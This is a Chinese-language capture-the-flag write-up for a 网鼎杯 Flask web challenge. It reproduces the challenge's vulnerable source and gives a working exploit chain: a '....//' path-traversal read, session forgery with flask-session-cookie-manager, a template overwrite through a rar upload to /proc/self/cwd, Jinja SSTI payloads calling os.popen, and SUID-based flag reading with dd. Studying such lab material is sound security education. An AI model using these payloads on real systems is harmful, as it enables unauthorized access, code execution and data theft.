网鼎杯的一道web,学到的知识点有,利用 flask-session-cookie-manager 脚本工具伪造 flask 的session ,文件上传覆盖flask模板,了解了linux的 /proc/self/cwd 工作目录以及 SUID 提权 还有用burp传压缩文件的大坑

题目描述

题目的网站功能是上传一个文件,然后可以查看上传的文件,功能没啥好说的,给了源码,重点分析下源码

重点要过三个难关

整个题目源码就放这了,部分解释见注释

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)

app.config['SECRET_KEY'] = socket.gethostname() #获取本机的hostname作为session的SECRET_KEY

def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
     # test
    print(socket.gethostname())
    print(request.remote_addr.encode())
    if request.path == "/upload":
        if session.get('user') != "Administrator":  #admin才可以上传文件
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:# 自定义一个文件上传路径
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')  # 可以看出updir可以伪造
        try:
            path = os.path.join(basedir, file).replace('../', '')# 双写绕过
            if os.path.isfile(path):
                return send_file(path)# 存在任意文件读取漏洞
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)


@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        # 文件的保存路径为 updir + 文件名的MD5值.rar
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)# 保存文件到filepath
        # 目标文件夹拼接了文件名
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)
		# 这里使用unrar解压缩启用了文件覆盖功能filepath为上传的压缩文件,extractdir为目标文件夹
        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
         # 这里渲染result.html文件,如果可以覆盖result.html文件可以利用渲染的模板造成RCE
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

任意文件读取到SECRET_KEY伪造session

要像上传文件我们必须满足 user = Administrator

开始可以看到flask的session使用的SECRET_KEY是本机的hostname

本机的hostname可以使用命令 hostname 或者 查看 /etc/hosts 文件找到,注意 /etc/hostname 文件里的hostanme并不准确,以 /etc/hosts 为主

审计源码不难发现这里存在任意文件读取漏洞

@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')  # 可以看出updir可以伪造
        try:
            path = os.path.join(basedir, file).replace('../', '')# 双写绕过
            if os.path.isfile(path):
                return send_file(path)# 存在任意文件读取漏洞
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)

构造

/....//....//....//....//....//....//etc/hosts

拿到hostname就可以伪造 session 了 (这里我本地测试,和远程题目环境hostname并不相同)

hostname 为 2f546cf6b4a0

这里尝试直接读取 /flag 发现失败,应该是没有权限

flask的session实际上是base64编码后的一串json格式的字符串拼接上后面的签名,有了SECRET_KEY就可以伪造session了,并重新签名了

直接用github上现成的脚本伪造 https://github.com/noraj/flask-session-cookie-manager

解密session

python3 flask_session_cookie_manager3.py decode -c 'eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzL2Y1Mjg3NjRkNjI0ZGIxMjliMzJjMjFmYmNhMGNiOGQ2IiwidXNlciI6Ikd1ZXN0In0.Ywnm9A._a5j15iu8L3_QQnWSNtZUGMmu-Q' -s '2f546cf6b4a0'
# 得到
{'updir': 'static/uploads/f528764d624db129b32c21fbca0cb8d6', 'user': 'Guest'}

修改user重新签名

python3 flask_session_cookie_manager3.py encode -s '2f546cf6b4a0' -t '{"updir":"static/uploads/f528764d624db129b32c21fbca0cb8d6","user":"Administrator"}'
# 得到
eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzL2Y1Mjg3NjRkNjI0ZGIxMjliMzJjMjFmYmNhMGNiOGQ2IiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwnqVg.WNLovRlxxOme_tcd-ejjnsJ4miw

伪造 Administrator 身份有了文件上传的权限

上传文件覆盖result.html

前置知识

  • Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
  • /proc/self 表示当前进程目录。
  • cwd 文件是一个指向当前进程运行目录的符号链接。/proc/self/cwd 就是当前进程环境的运行目录
  • flask框架的templates目录是flask的模板渲染目录,在渲染模版的时候,默认会从项目根目录下的templates目录下查找模版。

分析

伪造session有了 Administrator 权限可以上传文件后,继续审计代码可以发现后续对上传的文件进行了二次处理以rar压缩文件的形式将保存后的文件解压到某个目录(updir/文件名)下,并且解压缩使用了覆盖功能。

而又能知道 updir 其实是可以伪造的,这样一来上传和解压的路径又可控了。那么可以构造 updir: /proc/self/cwd ,这样上传的文件保存在了 /proc/self/cwd/文件名的md5.rar ,解压在了 /proc/self/cwd/文件名 这个目录。

若我们上传名为 templates.rar 的压缩文件,压缩文件里是构造好的 result.html 文件,这样程就将我们精心构造的 result.html 解压在了 /proc/self/cwd/templates 目录下覆盖掉原来的 result.html ,当我们通过display访问就会返回渲染后的 result.html ,从而命令执行。

我们尝试一下

修改session

python3 flask_session_cookie_manager3.py encode -s '2f546cf6b4a0' -t '{"updir":"/proc/self/cwd","user":"Administrator"}'
# 得到
eyJ1cGRpciI6Ii9wcm9jL3NlbGYvY3dkIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.Ywn8ww.o3cwD0wJOajtqeqEi7KYhrwojVU

result.html (注意原来的参数要保留,不然会报错)

{{ g.pop.__globals__.__builtins__['__import__']('os').popen('ls -l /;whoami').read() }}

压缩为 templates.rar(压缩文件里直接是 result.html)后上传

上传后访问可以看到成功执行命令,根目录是有flag的,但是是 ctf 用户,没有可读权限

image-20220827201736160

suid提权

可以执行命令了,但我们并没有读取flag的权限,可以尝试suid提权读取flag

相关资料

https://www.freebuf.com/articles/web/272617.html

https://its301.com/article/qq_41123867/104924160

简单介绍下

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

​ 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

​ 利用此特性,我们可通过SUID进行提权

和上文方法一样,构造 result.html执行,先看看哪些可执行文件设置了suid权限

{{ g.pop.__globals__.__builtins__['__import__']('os').popen('find / -perm -u=s -type f 2>/dev/null').read() }}

image-20220827210016303

正好发现 dd 命令可以利用,dd 可从标准输入或文件中读取数据,根据指定的格式来转换数据,再输出到文件、设备或标准输出。可以用dd读取flag。

{{ g.pop.__globals__.__builtins__['__import__']('os').popen('dd if=/flag').read() }}

image-20220827210642365